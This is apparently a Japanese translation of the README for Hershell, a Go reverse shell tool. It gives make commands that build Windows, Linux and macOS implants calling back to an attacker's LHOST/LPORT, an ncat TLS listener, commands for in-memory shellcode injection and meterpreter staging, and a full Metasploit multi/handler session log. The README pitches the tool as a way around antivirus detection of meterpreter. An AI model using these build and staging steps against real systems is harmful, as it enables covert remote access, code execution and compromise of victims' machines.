
Hershellは、Goで書かれたシンプルなTCPリバースシェルです。
注記: このプロジェクトはこのリポジトリにフォークされています。その他の開発についてはそちらを確認してください。
HershellはGoで書かれたシンプルなTCPリバースシェルです。
TLSを使用して通信を保護し、証明書の公開鍵フィンガープリントピンニング機能を提供することで、トラフィックの傍受を防止します。
対応OS:
meterpreterペイロードは優れていますが、AV製品に検出されることがあります。
このプロジェクトの目標は、複数のシステムで動作するシンプルなリバースシェルを提供することです。
Goで書かれているため、希望のアーキテクチャ向けにクロスコンパイルできます。
これはGoプロジェクトですので、公式ドキュメントに従ってGo環境をセットアップする必要があります($GOPATH環境変数を使用)。
その後、go get github.com/sysdream/hershellを実行してプロジェクトを取得してください。
簡略化のために、提供されているMakefileを使用できます。
以下の環境変数を設定できます:
GOOS : ターゲットOSGOARCH : ターゲットアーキテクチャLHOST : 攻撃者のIPまたはドメイン名LPORT : リスナーポートGOOSおよびGOARCH変数に使用できる値はこちらで確認できます。
ただし、Makefileにはいくつかのヘルパーターゲットがあります:
depends : サーバー証明書の生成(リバースシェルに必要)windows32 : Windows 32ビット実行可能ファイルのビルド (PE 32ビット)windows64 : Windows 64ビット実行可能ファイルのビルド (PE 64ビット)linux32 : Linux 32ビット実行可能ファイルのビルド (ELF 32ビット)linux64 : Linux 64ビット実行可能ファイルのビルド (ELF 64ビット)macos32 : macOS 32ビット実行可能ファイルのビルド (Mach-O)macos64 : macOS 64ビット実行可能ファイルのビルド (Mach-O)これらのターゲットでは、LHOSTとLPORT環境変数を設定するだけで十分です。
実行すると、リモートシェルが提供されます。
このカスタム対話型シェルを使用すると、Windowsではcmd.exe、UNIXマシンでは/bin/shを介してシステムコマンドを実行できます。
以下の特別なコマンドがサポートされています:
run_shell : システムシェルを起動します(例:ディレクトリの変更が可能)inject <base64 shellcode> : base64エンコードされたシェルコードを同じプロセスメモリに注入して実行します(現時点ではWindowsのみ)meterpreter [tcp|http|https] IP:PORT : multi/handlerに接続してmetasploitからstage2リバースTCP、HTTP、またはHTTPS meterpreterを取得し、シェルコードをメモリ内で実行します(現時点ではWindowsのみ)exit : 正常に終了まず、有効な証明書を生成する必要があります:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Windowsの場合:
# 事前定義された32ビットターゲット
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# 事前定義された64ビットターゲット
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Linuxの場合:
# 事前定義された32ビットターゲット
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# 事前定義された64ビットターゲット
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Mac OS Xの場合:
$ make macos LHOST=192.168.0.12 LPORT=1234
受信接続を処理するために、以下のようなさまざまなツールを使用できます:
python/shell_reverse_tcp_sslペイロード使用)ncatを使用した例:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
警告: これは現在Windowsプラットフォームでのみ動作します。
meterpreterステージングは現在以下のペイロードをサポートしています:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_https適切なものを使用するには、使用したいトランスポート(tcp、http、https)を指定してください。
meterpreterステージング機能を使用するには、ハンドラーを開始してください:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
次に、hershellでmeterpreterコマンドを使用します:
[hershell]> meterpreter https 172.16.122.105:8443
新しいmeterpreterセッションがmsfconsoleに表示されるはずです:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
Ronan Kervella <r.kervella -at- sysdream -dot- com>